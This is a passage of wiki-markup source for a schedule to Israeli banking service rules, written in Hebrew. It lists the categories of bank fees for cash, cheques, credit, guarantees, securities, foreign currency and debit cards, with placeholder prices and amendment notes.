| :: (6) &lt;!-- (תיקון: תשע&quot;ג) --&gt; '''כרטיס משיכת מזומן''' (((נמחקה))) || || ||
|- &lt;עוגן פרט 1א.7&gt;
| :: (7) '''שיק בנקאי'''
| .... ש&quot;ח
| ||
|- &lt;עוגן פרט 1א.8&gt;
| :: (8) &lt;!-- (תיקון: תשע&quot;ה, תשע&quot;ז) --&gt; '''טיפול במזומנים על ידי פקיד'''
::: שירות זה כולל:
::: (1) משיכת מזומן
::: (2) הפקדת מזומן
::: (3) פריטת מזומן
| : מטבעות - .... ש&quot;ח {{ש}} שטרות - .... אחוז
: ולגבי לקוח מזדמן {{ש}} מטבעות - .... ש&quot;ח {{ש}} שטרות - .... אחוז
| לגבי לקוח מזדמן - במועד ביצוע הפעולה
| : לכל 100 מטבעות {{ש}} מעל 10,000 ש&quot;ח
: פעולת פריטת מזומן כוללת את משיכתו או הפקדתו; בעד פעולת פריטה הכוללת מטבעות ושטרות, רשאי התאגיד הבנקאי לגבות עמלה אחת בלבד, הגבוהה מבין העמלות בעד פעולות אלה.
|- &lt;עוגן פרט 1א.9&gt;
| :: (9) '''החזרת חיוב מסיבת אין כיסוי מספיק (ומהסיבות מוגבל, מעוקל, צו משפטי)'''
::: חיוב באמצעות -
::: (1) הוראת קבע
::: (2) הרשאה לחיוב חשבון
::: (3) שיק
| .... ש&quot;ח
| ||
|- &lt;עוגן פרט 1א.10&gt;
| :: (10) &lt;!-- (תיקון: תשפ&quot;ד, תשפ&quot;ו) --&gt; (((תימחק ביום 1.10.2026):)) '''חיוב מושך בהחזרת שיק מסיבה טכנית'''
| .... ש&quot;ח
| || במקרה של החזרת שיק מסיבה טכנית מחמת טעות של תאגיד בנקאי, החיוב יושב ללקוח בתוך 5 ימי עסקים ממועד גילוי הטעות((.))
|- &lt;עוגן פרט 1א.11&gt;
| :: (11) &lt;!-- (תיקון: תשע&quot;ה-3) --&gt; '''חיוב מפקיד בהחזרת שיק''' (((נמחקה))) || || ||
|- &lt;עוגן פרט 1א.12&gt;
| :: (12) '''הוראה לביטול חיוב'''
::: חיוב:
::: (1) שיק
::: (2) חיוב בודד על פי הרשאה לחיוב חשבון
::: (3) חיוב בודד על פי הוראת קבע
| .... ש&quot;ח
| || במקרה של ביטול סדרה של שיקים עוקבים ניתן לגבות עמלה מרבית בגובה של 3 הוראות ביטול
|- &lt;עוגן פרט 1ב&gt;
| colspan=&quot;4&quot; | '''(ב) - שירותים מיוחדים או עסקיים'''
|- &lt;עוגן פרט 1ב.1&gt;
| :: (1) '''העברות ברשימה (לרבות משכורת)'''
| : {{מוקטן|לפי פירוט שיקבע התאגיד הבנקאי, ובלבד שלא יעלה על 2 עמלות}}
: .... ש&quot;ח
| ||
|- &lt;עוגן פרט 1ב.2&gt;
| :: (2) '''הוראת קבע לקיזוז יומי'''
| .... ש&quot;ח
| ||
|- &lt;עוגן פרט 1ב.3&gt;
| :: (3) '''טיפול בשיק דחוי'''
::: שירות זה כולל -
::: (1) הפקדת שיק דחוי
::: (2) שינוי מועד להצגת שיק דחוי
::: (3) החזרת שיק דחוי למפקיד טרם פירעונו
| : בדלפק - .... ש&quot;ח
: בשידור - .... ש&quot;ח
| || : החזרת שיקים דחויים למפקיד אגב סגירת חשבונו בבנק לא תעלה על 5 ש&quot;ח&lt;sup&gt;3&lt;/sup&gt;
|- &lt;עוגן פרט 1ב.4&gt;
| :: (4) '''חיוב מוטב בהחזרת חיוב על פי הרשאה'''
| : רגיל - .... ש&quot;ח
: הצגה חוזרת - .... ש&quot;ח
| || לעניין זה, &quot;הצגה חוזרת&quot; - מההחזרה השניה ואילך של חיוב על פי הרשאה שבוטלה בהוראת הלקוח או חיוב על פי הרשאה שהוצאה מן ההסדר
|- &lt;עוגן פרט 1ב.5&gt;
| :: (5) '''העברה במערכת הזיכויים וההעברות בזמן אמת (RTGS)'''
| לבנק אחר - .... ש&quot;ח
| || במקרה של העברה בסכום של עד 1 מיליון ש&quot;ח, התאגיד הבנקאי יהיה רשאי לגבות בעדה עמלה בסכום שאינו עולה על מחיר שירות של פעולה אחת על ידי פקיד
|- &lt;עוגן פרט 1ג.1&gt; &lt;!-- (תיקון: תשע&quot;ד, תשע&quot;ה) --&gt;
| : '''(ג)'''
:: (1) '''מסלול בסיסי'''
::: מסלול הכולל עד פעולה אחת על ידי פקיד ועד 10 פעולות בערוץ ישיר
| .... ש&quot;ח (בפיקוח)
| בתחילת החודש בעד החודש שקדם לו
| : (1) ההערות המופיעות בטור &quot;הערות&quot;, לצד [[פרט 1א.2|פסקה (2), שבפרט 1(א) לחלק זה]] לא יחולו על פסקה זו;
: (2) שאילתות מידע באמצעות האינטרנט ומענה טלפוני ממוחשב (IVR), לא יימנו במניין הפעולות הכלולות במסלול ואין לגבות עמלה בעדן;
: (3) במקרה שהתאגיד הבנקאי אינו מעמיד לרשות הלקוחות אפשרות סבירה לבצע פעולות של הפקדת שיקים או הפקדת מזומן בערוץ ישיר, ייחשבו פעולות אלה כפעולות בערוץ ישיר;
: (4) במקרה שבו העביר לקוח את הפעילות בחשבון או סגר את חשבונו במהלך החודש, רשאי התאגיד הבנקאי לחייבו בעלות הכוללת של המסלול לאותו חודש.
|- &lt;עוגן פרט 1ג.2&gt;
| :: (2) &lt;!-- (תיקון: תשע&quot;ד, תשפ&quot;ד) --&gt; '''מסלול מורחב'''
::: מסלול הכולל עד 10 פעולות על ידי פקיד ועד 50 פעולות בערוץ ישיר
| .... ש&quot;ח (בפיקוח)
| בתחילת החודש בעד החודש שקדם לו
| ההערות המופיעות בטור &quot;הערות&quot; לצד [[פרט 1ג.1|פסקה (1), שבפרט 1(ג) לחלק זה]] יחולו גם על פסקה זו.
|- &lt;עוגן פרט 1ג.3&gt;
| :: (3) &lt;!-- (תיקון: תשע&quot;ד, תשפ&quot;ד) --&gt; '''מסלול מורחב פלוס'''
::: מסלול הכולל את הפעולות ומספרן לפי המסלול המורחב, וכן שירותים נוספים לפי החלטת התאגיד הבנקאי
| .... ש&quot;ח (בפיקוח)
| בתחילת החודש בעד החודש שקדם לו
| ההערות המופיעות בטור &quot;הערות&quot; לצד [[פרט 1ג.1|פסקה (1), שבפרט 1(ג) לחלק זה]] יחולו גם על פסקה זו.
|- &lt;עוגן תוספת 1 חלק 2&gt;
| colspan=&quot;4&quot; | {{ממורכז|{{מוגדל|'''חלק 2 - מידע, הודעות והתראות'''}}}}
|- &lt;עוגן פרט 2א&gt;
| colspan=&quot;4&quot; | '''2(א) - שירותים נפוצים'''
|- &lt;עוגן פרט 2א.1&gt;
| :: (1) '''הודעות'''
::: שירות זה כולל -
::: (1) הודעות על פיגור בתשלומים
::: (2) התראות
::: (3) הודעות או התראות לפי [[חוק שיקים ללא כיסוי, התשמ&quot;א-1981]]
::: (4) (((נמחקה)))
| .... ש&quot;ח (בפיקוח)
| ||
|- &lt;עוגן פרט 2א.2&gt;
| :: (2) '''מכתב התראה של עורך דין'''
| .... ש&quot;ח
| ||
|- &lt;עוגן פרט 2א.3&gt;
| :: (3) &lt;!-- (תיקון: תשע&quot;ו) --&gt; '''הפקה או הדפסה של מסמכים המצויים במאגר הממוחשב לבקשת לקוח'''
| : זמינים בסניף - .... ש&quot;ח לבקשה בתוספת .... ש&quot;ח לכל עמוד
: אינם זמינים בסניף - .... ש&quot;ח לבקשה בתוספת .... ש&quot;ח לכל עמוד
| ||
: לא כולל צפייה בשיקים באינטרנט;
: אין לגבות עמלה בעד מסירת העתק אחד של הודעה לבקשת לקוח במהלך שישה חודשים מיום סגירת החשבון; לעניין זה, &quot;הודעה&quot; - הודעה שנשלחה בתקשורת ללקוח מכוח דין במהלך ששת החודשים שקדמו לסגירת החשבון.
|- &lt;עוגן פרט 2א.4&gt;
| :: (4) &lt;!-- (תיקון: תשע&quot;ה, תשע&quot;ו) --&gt; '''דוחות לבקשת לקוח'''
::: (א) דוחות סטנדרטיים, כגון:
:::: (1) אישור יתרות
:::: (2) פירוט תשלומים של הלוואה
:::: (3) פירוט רכיבי תשלום של הלוואה
:::: (4) לוח סילוקין נוסף
:::: (5) פירוט תיק ניירות ערך
:::: (6) שחזור תנועות בניירות ערך
:::: (7) אישור בעלות (החל מהאישור השני במהלך שנה)
:::: (8) (((נמחקה)))
::: (ב) דוחות הכרוכים באיסוף מידע, למשל: מסירת מידע היסטורי בדבר ריביות, שערי חליפין, שערי ניירות ערך, וכן מכתבים לא סטנדרטיים או מכתב המלצה
| : דוחות סטנדרטיים - .... ש&quot;ח (בפיקוח)
: דוחות הכרוכים באיסוף מידע - .... ש&quot;ח
|
| : (1) למעט באמצעות האינטרנט
: (2) אישור יתרה לפני פירעון מוקדם של הלוואה - פטור מעמלה
|- &lt;עוגן פרט 2א.5&gt;
| :: (5) &lt;!-- (תיקון: תשפ&quot;ד) --&gt; '''איתור מסמכים''' לבקשת לקוח
| .... ש&quot;ח לבקשה
| ||
|- &lt;עוגן פרט 2א.6&gt;
| :: (6) &lt;!-- (תיקון: תשפ&quot;ו) --&gt; (((תימחק ביום 1.10.2026):)) '''איתור חשבונות'''
| .... ש&quot;ח
| ||
|- &lt;עוגן פרט 2ב&gt;
| colspan=&quot;4&quot; | '''(ב) - שירותים מיוחדים או עסקיים'''
|- &lt;עוגן פרט 2ב.1&gt;
| :: (1) &lt;!-- (תיקון: תשע&quot;ה, תשע&quot;ו) --&gt; '''קבלת מידע בתקשורת לבקשת לקוח'''
| : {{מוקטן|לפי פירוט שיקבע התאגיד הבנקאי, ובלבד שלא יעלה על 3 עמלות}}
: .... ש&quot;ח
|
| : שירות זה כולל מתן מידע באמצעים כמו: פקס', טלפון סלולרי, דואר אלקטרוני, מכשיר לקריאת כרטיס חיוב;
: אין לגבות עמלה בעד מסירת העתק אחד של הודעה לבקשת לקוח במהלך שישה חודשים מיום סגירת החשבון; לעניין זה, &quot;הודעה&quot; - הודעה שנשלחה בתקשורת ללקוח מכוח דין במהלך ששת החודשים שקדמו לסגירת החשבון.
|- &lt;עוגן פרט 2ב.2&gt;
| :: (2) '''מידע במדיה מגנטית או אלקטרונית'''
| : {{מוקטן|לפי פירוט שיקבע התאגיד הבנקאי, ובלבד שלא יעלה על 2 עמלות}}
: .... ש&quot;ח
| ||
|- &lt;עוגן פרט 2ב.3&gt;
| :: (3) '''הפקה ומשלוח דף תנועות בתדירות מיוחדת לבקשת הלקוח'''
| : {{מוקטן|לפי פירוט שיקבע התאגיד הבנקאי, ובלבד שלא יעלה על 2 עמלות}}
: .... ש&quot;ח
| ||
|- &lt;עוגן פרט 2ב.4&gt;
| :: (4) '''גישה ישירה למחשב הבנק'''
| : {{מוקטן|לפי הפירוט שיקבע התאגיד הבנקאי, ובלבד שלא יעלה על 2 עמלות}}
: .... ש&quot;ח
| ||
|- &lt;עוגן תוספת 1 חלק 3&gt;
| colspan=&quot;4&quot; | {{ממורכז|{{מוגדל|'''חלק 3 - אשראי'''}}}}
|- &lt;עוגן פרט 3א&gt;
| colspan=&quot;4&quot; | '''3(א) - שירותים נפוצים'''
|- &lt;עוגן פרט 3א.1&gt;
| :: (1) '''הקצאת אשראי'''
| : יחיד - .... ש&quot;ח לרבעון
: עסק קטן - .... אחוז
|
| עמלה זו תיגבה מיחיד במקרה של אי-ניצול מסגרת האשראי ברבעון. במקרה של ניצול חלקי של המסגרת, לקוח יחיד יחויב בריבית הרבעונית או בעמלה, לפי הגבוה מביניהן
|- &lt;עוגן פרט 3א.2&gt;
| :: (2) &lt;!-- (תיקון: תשע&quot;ג, תשפ&quot;ד) --&gt; '''טיפול באשראי ובביטחונות''' (למעט הלוואה לדיור)
| : (()) 1. הלוואות מעל 100,000 ש&quot;ח .... אחוז (מינימום, מקסימום);
: (()) 2. ניכיון שיקים - מעל 50,000 ש&quot;ח .... אחוז (מינימום, מקסימום);
: (()) 3. מסגרת אשראי לעסק קטן .... אחוז (מינימום, מקסימום);
: (()) 4. הלוואות בערבות המדינה (לפי פירוט שיקבע התאגיד הבנקאי)
| 
| : (1) אין לגבות את העמלה במקרה של חידוש האשראי, שלא כרוך בשינוי או הוספת ביטחונות. במקרה של הגדלת האשראי - ניתן לגבות את העמלה על ההפרש בלבד
: (2) אין לגבות עמלה על העמדת מסגרת אשראי ללקוחות יחידים
|- &lt;עוגן פרט 3א.2א&gt;
| :: (2א) &lt;!-- (תיקון: תשפ&quot;ד) --&gt; טיפול בבקשה להלוואה לדיור
| .... ש&quot;ח
| העמלה תיגבה לאחר ביצוע עיקר ההליכים לקבלת ההלוואה
| : (1) השירות כולל טיפול בביטחונות, אם רלוונטי;
: (2) אין לגבות את העמלה במקרה של חידוש האשראי, שאינו כרוך בשינוי או הוספה של ביטחונות;
: (3) בהלוואות לדיור חל [[סעיף 9ז לחוק הבנקאות (שירות ללקוח), התשמ&quot;א-1981]].
|- &lt;עוגן פרט 3א.3&gt;
| :: (3) &lt;!-- (תיקון: תשע&quot;ה) --&gt; '''דמי ניהול הלוואה לדיור''' (((נמחקה))) || || ||
|- &lt;עוגן פרט 3א.4&gt;
| :: (4) &lt;!-- (תיקון: תשע&quot;ה) --&gt; '''דמי גבייה בשל הלוואות שאינן לדיור, שניתנו ערב תחילתם של כללים אלה''' (((נמחקה))) || || ||
|- &lt;עוגן פרט 3א.5&gt;
| rowspan=&quot;2&quot; | :: (5) &lt;!-- (תיקון: תשע&quot;ג, תשע&quot;ט, תשפ&quot;ד) --&gt; '''ערבות בנקאית'''
| : ערבות בנקאית מכל סוג (למעט ערבות למשתכנים לפי [[=חוק המכר|חוק המכר (דירות) (הבטחת השקעות של רוכשי דירות), התשל&quot;ה-1974]]) (להלן - חוק המכר) ולמעט ערבות בנקאית המובטחת בפיקדון כספי ספציפי .... אחוז (מינימום)
: ערבות למשתכנים לפי [[חוק המכר]] .... אחוז
: ערבות בנקאית המובטחת בפיקדון כספי ספציפי (למעט ערבות למשתכנים לפי [[חוק המכר]]) .... אחוז (מינימום)
|
| העמלה בעד שירות &quot;ערבות בנקאית המובטחת בפיקדון כספי ספציפי&quot; תהיה נמוכה מהעמלה בעד שירות &quot;ערבות מכל סוג&quot;
|-
| : (()) 1. ערבות בנקאית מכל סוג (שאינה ערבות מהסוגים המפורטים בסעיפים 2 עד 4 להלן) .... אחוז (מינימום);
: (()) 2. ערבות בנקאית למשתכנים לפי [[חוק המכר (דירות) (הבטחת השקעות של רוכשי דירות), התשל&quot;ה-1974]] .... אחוז;
: (()) 3. ערבות בנקאית המובטחת בפיקדון כספי ספציפי .... ש&quot;ח;
: (()) 4. ערבות בנקאית המובטחת בפיקדון כספי ספציפי לצורך הסכם שכירות לדירת מגורים (בסכום ערבות עד 50,000 ש&quot;ח) .... ש&quot;ח.
|
| : (1) העמלה בעד שירות &quot;ערבות בנקאית המובטחת בפיקדון כספי ספציפי&quot;, כאמור בסעיף 3 בטור &quot;מחיר&quot;, תהיה נמוכה מעמלת המינימום בעד שירות &quot;ערבות בנקאית מכל סוג&quot;, כאמור בסעיף 1 בטור &quot;מחיר&quot;;
: (2) העמלה בעד שירות &quot;ערבות בנקאית המובטחת בפיקדון כספי ספציפי לצורך הסכם שכירות לדירת מגורים (בסכום ערבות עד 50,000 ש&quot;ח)&quot;, כאמור בסעיף 4 בטור &quot;מחיר&quot;, תהיה נמוכה מהעמלה בעד &quot;ערבות בנקאית המובטחת בפיקדון כספי ספציפי, כאמור בסעיף 3 בטור &quot;מחיר&quot;.
|- &lt;עוגן פרט 3א.6&gt;
| :: (6) '''הסבת ערבות לפי [[חוק המכר]]'''
| .... ש&quot;ח
| ||
|- &lt;עוגן פרט 3א.7&gt;
| :: (7) '''רישום שעבודים על ידי נציג התאגיד הבנקאי אצל רשם'''
| .... ש&quot;ח
| ||
|- &lt;עוגן פרט 3א.8&gt;
| :: (8) '''שינוי שעבודים'''
| : בבנק - .... ש&quot;ח
: אצל רשם - .... ש&quot;ח
| ||
|- &lt;עוגן פרט 3א.9&gt;
| :: (9) '''הסכמה ליצירת שעבוד לבנק אחר'''
| .... ש&quot;ח (בפיקוח)
| ||
|- &lt;עוגן פרט 3א.10&gt;
| :: (10) &lt;!-- (תיקון: תשע&quot;ו) --&gt;
::: (א) '''שינויים בהסכם ההלוואה או בתנאי הערבות לבקשת לקוח או ערב''' {{ש}} {{מוקטן|כולל: תקופת ההלוואה, זהות או הרכב לווים או ערבים, מסלול ההלוואה, ריבית, הקפאת תשלומים, איחוד או הפרדת זכאות, מועדי פירעון, תיקון ערבות}}
| .... ש&quot;ח
| ||
|-
| ::: (ב) '''שינויים במועד הפירעון החודשי של הלוואה לדיור לפי [[סעיף 9ג לחוק הבנקאות (שירות ללקוח), התשמ&quot;א-1981]]'''
| .... ש&quot;ח
|
| התאגיד הבנקאי רשאי לגבות עמלה בסכום שאינו עולה על מחיר שירות של פעולה אחת של פקיד לכל הלוואה בעד כל אחד מארבעת השינויים הראשונים של מועד הפירעון החודשי של הלוואה לדיור בכל שנה
|- &lt;עוגן פרט 3א.11&gt;
| :: (11) '''גרירת הלוואה לדיור'''
| : הלוואה - .... ש&quot;ח
: מענק - .... ש&quot;ח
: ערבות או פיקדון ביניים - .... ש&quot;ח
| ||
|- &lt;עוגן פרט 3א.12&gt;
| :: (12) '''הנפקה או חידוש של תעודת זכאות'''
| .... ש&quot;ח
| ||
|- &lt;עוגן פרט 3א.13&gt;
| :: (13) '''פירעון מוקדם'''
| עמלה תפעולית - .... ש&quot;ח
|
| עמלה זו נגבית נוסף לשאר התשלומים הנגבים על פי [[צו הבנקאות (פירעון מוקדם של הלוואה לדיור), התשס&quot;ב-2002]], על פי הוראת ניהול בנקאי תקין מס' 454 ועל פי [[סעיף 88 לחוק המקרקעין, התשכ&quot;ט-1969]]; התאגיד הבנקאי רשאי לגבות את העמלה פעם אחת, לכל היותר, בעד פירעון מוקדם של הלוואה, על כל המסלולים הנפרעים באותו מועד
|- &lt;עוגן פרט 3ב&gt;
| colspan=&quot;4&quot; | '''(ב) - שירותים מיוחדים או עסקיים'''
|- &lt;עוגן פרט 3ב.1&gt;
| :: (1) '''ליווי פיננסי'''
| .... אחוז
| ||
|- &lt;עוגן תוספת 1 חלק 4&gt;
| colspan=&quot;4&quot; | {{ממורכז|{{מוגדל|'''חלק 4 - ניירות ערך'''}}}}
|- &lt;עוגן פרט 4א&gt;
| colspan=&quot;4&quot; | '''4(א) - שירותים נפוצים'''
|- &lt;עוגן פרט 4א.1&gt;
| :: (1) &lt;!-- (תיקון: תשס&quot;ח, תש&quot;ע, תשע&quot;ג, תשע&quot;ט) --&gt; '''קניה, מכירה, ופדיון של ניירות ערך הנסחרים בבורסה בתל אביב (למעט קרנות נאמנות&lt;sup&gt;4&lt;/sup&gt;, אופציות מעו&quot;ף&lt;sup&gt;5&lt;/sup&gt; וחוזים עתידיים במעו&quot;ף)''' {{ש}} (כולל קניה או מכירה שלא בוצעה)
| : מניות ואגרות חוב .... אחוז (מינימום, מכסימום)
: מילווה קצר מועד .... אחוז (מינימום, מכסימום)
|
| : (1) על פיצול הוראה לכמה ביצועים חלקיים באותו יום תיגבה עמלת מינימום אחת ביום לכל הוראה((;))
: (2) במקרה של קניה או מכירה שלא בוצעה מסיבה התלויה בלקוח - תיגבה עמלת מינימום רק אם בוצעה פעולה על ידי פקיד((;))
: (3) עמלה זו תיגבה גם בשל ביצוע השירות בניירות ערך שאינם נסחרים((;))
: (4) בעד פעולה המבוצעת ישירות באמצעות האינטרנט ייגבה שיעור מופחת של .... אחוז לפעולה במניות ובאגרות חוב, ושיעור מופחת של .... אחוז לפעולה במלווה קצר מועד.
|- &lt;עוגן פרט 4א.2&gt;
| :: (2) &lt;!-- (תיקון: תשס&quot;ח) --&gt; '''קניה, מכירה וכתיבה של אופציות מעו&quot;ף''' {{ש}} (כולל קניה או מכירה שלא בוצעה)
| .... אחוז (מינימום, מכסימום)
|
| ההערות [[תוספת פרט 4א.1|שבסעיף (1)]] יחולו גם על סעיף זה
|- &lt;עוגן פרט 4א.3&gt;
| :: (3) &lt;!-- (תיקון: תשס&quot;ח) --&gt; '''קניה, מכירה וכתיבה של חוזים עתידיים במעו&quot;ף''' {{ש}} (כולל קניה או מכירה שלא בוצעה)
| {{מוקטן|לפי פירוט שיקבע התאגיד הבנקאי ובלבד שלא יעלה על 2 עמלות}}
|
| הערה (1) [[תוספת פרט 4א.1|שבסעיף (1)]] תחול גם על סעיף זה.
|- &lt;עוגן פרט 4א.4&gt;
| :: (4) &lt;!-- (תיקון: תשס&quot;ח, תשע&quot;ג) --&gt; '''קניה, מכירה ופדיון של ניירות ערך בחוץ לארץ''' {{ש}} (כולל קניה או מכירה שלא בוצעה)
| : מניות, אגרות חוב וקרנות נאמנות .... אחוז (מינימום, מכסימום)
: אופציות .... אחוז (מינימום, מכסימוום)
|
| : (1) במקרה של קניה או מכירה שלא בוצעה מסיבה התלויה בלקוח - תיגבה עמלת מינימום רק אם בוצעה פעולה על ידי פקיד;
: (2) עמלה זו תיגבה גם בשל ביצוע השירות בניירות ערך שאינם נסחרים
|- &lt;עוגן פרט 4א.5&gt;
| :: (5) &lt;!-- (תיקון: תשס&quot;ח, תשע&quot;ג) --&gt; '''דמי ניהול פיקדון ניירות ערך''' {{ש}} (לרבות יחידות השתתפות בקרנות נאמנות)
| : הנסחרים בארץ .... אחוז (מכסימום)
: הנסחרים בחוץ לארץ .... אחוז (מכסימום)
: שאינם נסחרים בבורסה .... אחוז (מכסימום)
|
| : (1) לא ניתן לגבות דמי ניהול פיקדון ניירות ערך שאינם נסחרים בבורסה לאחר שנמחקו מהרישום למסחר, למעט במקרה שהלקוח הוא בעל ענין בחברה שניירות הערך שלה נמחקו מהמסחר בעקבות הצעת רכש מלאה, כמשמעותה [[בסעיף 336 לחוק החברות, התשנ&quot;ט-1999]];
: (2) לא ניתן לגבות דמי ניהול פיקדון ניירות ערך בעבור מלווה קצר מועד או בעבור קרן כספית כהגדרתה [[בתקנות השקעות משותפות בנאמנות (נכסים שמותר לקנות ולהחזיק בקרן ושיעוריהם המרביים), התשנ&quot;ה-1994]].
|- &lt;עוגן פרט 4א.6&gt;
| :: (6) &lt;!-- (תיקון: תשס&quot;ח, תשע&quot;ג) --&gt; '''העברת ניירות ערך'''
| : לחשבון אותו לקוח בגוף פיננסי אחר - .... ש&quot;ח (להעברה) (בפיקוח)
: לחשבון לקוח אחר - .... אחוז (מינימום, מכסימום לתיק)
|
| : (1) &quot;חשבון אותו לקוח&quot;, לרבות חשבון משותף של הלקוח עם בן או בת זוגו((;))
: (2) העברת ניירות ערך לחשבון אותו לקוח בעת סגירת חשבון לא תעלה על 10 ש&quot;ח להעברת התיק והוצאות צד ג'&lt;sup&gt;3&lt;/sup&gt;((;))
: (3) &quot;גוף פיננסי&quot; - כהגדרתו [[בחוק בנק ישראל, התש&quot;ע-2010]].
|- &lt;עוגן פרט 4א.7&gt;
| :: (7) '''המרת איגרות חוב ושטרי הון למניות, מימוש אופציות והמרת ניירות ערך דואליים'''
| {{מוקטן|לפי פירוט שיקבע התאגיד הבנקאי על פי סוג הפעולה ובלבד שלא יעלה על 2 עמלות}}
| ||
|- &lt;עוגן פרט 4ב&gt;
| colspan=&quot;4&quot; | '''(ב) - שירותים מיוחדים או עסקיים'''
|- &lt;עוגן פרט 4ב.1&gt;
| :: (1) '''טיפול בהזמנה של ניירות ערך בהנפקה'''
| : איגרות חוב ממשלתיות .... אחוז (מינימום)
: שאר ניירות הערך .... אחוז (מינימום)
| ||
|- &lt;עוגן פרט 4ב.2&gt;
| :: (2) '''עמלת הפצה מרוכש יחידת השתתפות בקרן נאמנות'''
| לפי סוג הקרן
|
| במקרים המותרים לפי [[תקנות השקעות משותפות בנאמנות (עמלת הפצה), התשס&quot;ו-2006]]
|- &lt;עוגן פרט 4ב.3&gt;
| :: (3) '''השאלת ניירות ערך לצורך מכירה בחסר'''
| {{מוקטן|לפי פירוט שיקבע התאגיד הבנקאי, ובלבד שלא יעלה על 2 עמלות}}
| ||
|- &lt;עוגן פרט 4ב.4&gt;
| :: (4) '''עמלת קסטודיאן'''
| .... אחוז (מינימום, מכסימום)
| ||
|- &lt;עוגן תוספת 1 חלק 5&gt;
| colspan=&quot;4&quot; | {{ממורכז|{{מוגדל|'''חלק 5 - מטבע חוץ&lt;sup&gt;6&lt;/sup&gt;'''}}}}
|- &lt;עוגן פרט 5.1&gt;
| :: (1) &lt;!-- (תיקון: תשס&quot;ח) --&gt; '''עמלת חליפין'''
| : {{מוקטן|לפי פירוט שיקבע התאגיד הבנקאי, ובלבד שלא יעלה על 2 עמלות}}
: .... אחוז (מינימום, מכסימום)
| ||
|- &lt;עוגן פרט 5.2&gt;
| :: (2) &lt;!-- (תיקון: תשס&quot;ח) --&gt; '''הפקדת מזומן לחשבון מטבע חוץ או משיכת מזומן מחשבון מטבע חוץ'''
| פירוט הפרשי השער
| ||
|- &lt;עוגן פרט 5.3&gt;
| :: (3) '''החלפת מזומן''' {{ש}} {{מוקטן|שירות זה כולל: החלפת שטרות בלא שערים, ישנים או פגומים}}
| .... אחוז (מינימום)
| ||
|- &lt;עוגן פרט 5.4&gt;
| :: (4) '''גביית שיקים במטבע חוץ'''
| .... אחוז (מינימום, מכסימום)
| ||
|- &lt;עוגן פרט 5.5&gt;
| :: (5) '''הפקדת שיק / פדיון שיק או המחאת נוסעים'''
| : .... דולר + .... אחוז
: {{מוקטן|לפי פירוט שיקבע התאגיד הבנקאי, ובלבד שלא יעלה על 2 עמלות}}
| ||
|- &lt;עוגן פרט 5.6&gt;
| :: (6) '''מכירת המחאות נוסעים'''
| .... אחוז (מינימום, מכסימום)
| ||
|- &lt;עוגן פרט 5.7&gt;
| :: (7) '''שיק בנקאי'''
| .... אחוז (מינימום, מכסימום)
| ||
|- &lt;עוגן פרט 5.8&gt;
| :: (8) '''טיפול בשיק משוך על חשבון מטבע חוץ ומוצג לגביה'''
| : על ידי בנק בחוץ לארץ .... אחוז (מינימום, מכסימום)
: על ידי בנק אחר בארץ .... אחוז (מינימום, מכסימום)
: על ידי סניף הבנק בארץ .... דולר
| ||
|- &lt;עוגן פרט 5.9&gt;
| :: (9) '''העברת מטבע חוץ לחוץ לארץ ומחוץ לארץ'''
| : חד-פעמית - .... אחוז (מינימום, מכסימום)
: קבועה - .... אחוז (מינימום, מכסימום)
|
| העברת רנטות או פנסיות לנפגעי נאצים פטורה מעמלה
|- &lt;עוגן פרט 5.10&gt;
| :: (10) &lt;!-- (תיקון: תשס&quot;ח) --&gt; '''העברת מטבע חוץ בארץ ומבנק אחר בארץ'''
| : לחשבון או מחשבון אותו לקוח - .... דולר (בפיקוח)
: העברה אחרת - .... אחוז (מינימום, מכסימום)
|
| : &quot;חשבון אותו לקוח&quot; - לרבות חשבון שהלקוח מנהל יחד עם בן או בת זוגו.
: העברת מטבע חוץ לחשבון אותו לקוח בעת סגירת חשבון לא תעלה על 10 ש&quot;ח&lt;sup&gt;3&lt;/sup&gt;
|- &lt;עוגן פרט 5.11&gt;
| :: (11) '''ימי ערך'''
| {{מוקטן|לפי פירוט שיקבע התאגיד הבנקאי בנספח לתעריפון}}
| ||
|- &lt;עוגן פרט 5.12&gt;
| :: (12) &lt;!-- (תיקון: י&quot;פ תשפ&quot;ב; תשפ&quot;ד) --&gt; '''כיסוי אוטומטי של יתרת חובה בחשבון מטבע חוץ'''
| .... אחוז
|
| : (1) הכיסוי האוטומטי של יתרת חובה בחשבון מטבע חוץ יבוצע מחשבון במטבע ישראלי;
: (2) חישוב שיעור המחיר יתבצע מתוך הסכום במטבע ישראלי, אשר יומר כדי לכסות את יתרת החובה במטבע חוץ.
|- &lt;עוגן תוספת 1 חלק 6&gt;
| colspan=&quot;4&quot; | &lt;!-- (תיקון: תשע&quot;ה-3) --&gt; {{ממורכז|{{מוגדל|'''חלק 6 - כרטיסי חיוב'''}}}}
|- &lt;עוגן פרט 6.1&gt;
| :: (1) &lt;!-- (תיקון: תשע&quot;ה-3) --&gt; '''דמי כרטיס'''
| : {{מוקטן|לפי סוגי כרטיס שיקבע התאגיד הבנקאי בנספח לתעריפון}}
: .... ש&quot;ח
| בתום חודש
| תאגיד בנקאי לא יגבה עמלה זו בעד כרטיס חיוב מיידי שהונפק ללקוח שברשותו כרטיס אשראי בתוקף שהונפק על ידי אותו תאגיד בנקאי וזאת לתקופה של 36 חודשים ממועד ההנפקה של כרטיס החיוב המיידי.
|- &lt;עוגן פרט 6.1א&gt;
| :: (1א) &lt;!-- (תיקון: תשס&quot;ח) --&gt; '''דמי טעינה (לגבי כרטיסים נטענים בלבד)'''
| .... ש&quot;ח
| ||
|- &lt;עוגן פרט 6.2&gt;
| :: (2) &lt;!-- (תיקון: תשע&quot;ה) --&gt; '''עמלת תשלום נדחה''' בשל עסקאות שבוצעו עד יום י&quot;א בשבט התשע&quot;ה (31 בינואר 2015)
| .... ש&quot;ח
| ||
|- &lt;עוגן פרט 6.3&gt;
| :: (3) &lt;!-- (תיקון: תשע&quot;ג) --&gt; '''שינוי מועד חיוב''' (((נמחקה))) || || ||
|- &lt;עוגן פרט 6.4&gt;
| :: (4) '''טיפול בהכחשה לא מוצדקת של עסקה'''
| .... ש&quot;ח
| ||
|- &lt;עוגן פרט 6.5&gt;
| :: (5) '''פירעון מוקדם או פירעון מיידי של עסקאות'''
| .... ש&quot;ח
|
| : לבקשה פירעון מוקדם של כל העסקאות בשל ביטול הכרטיס ייחשב לבקשה אחת;
: סך כל העמלות בעד ביטול כרטיס אגב סגירת חשבון במקרה שמנפיק הכרטיס הוא הבנק, יהיה כפוף לתקרה של 40 ש&quot;ח((.))
|- &lt;עוגן פרט 6.6&gt;
| :: (6) '''הנפקת כרטיס חליפי'''
| : הנפקה רגילה .... ש&quot;ח
: הנפקה מיידית .... ש&quot;ח
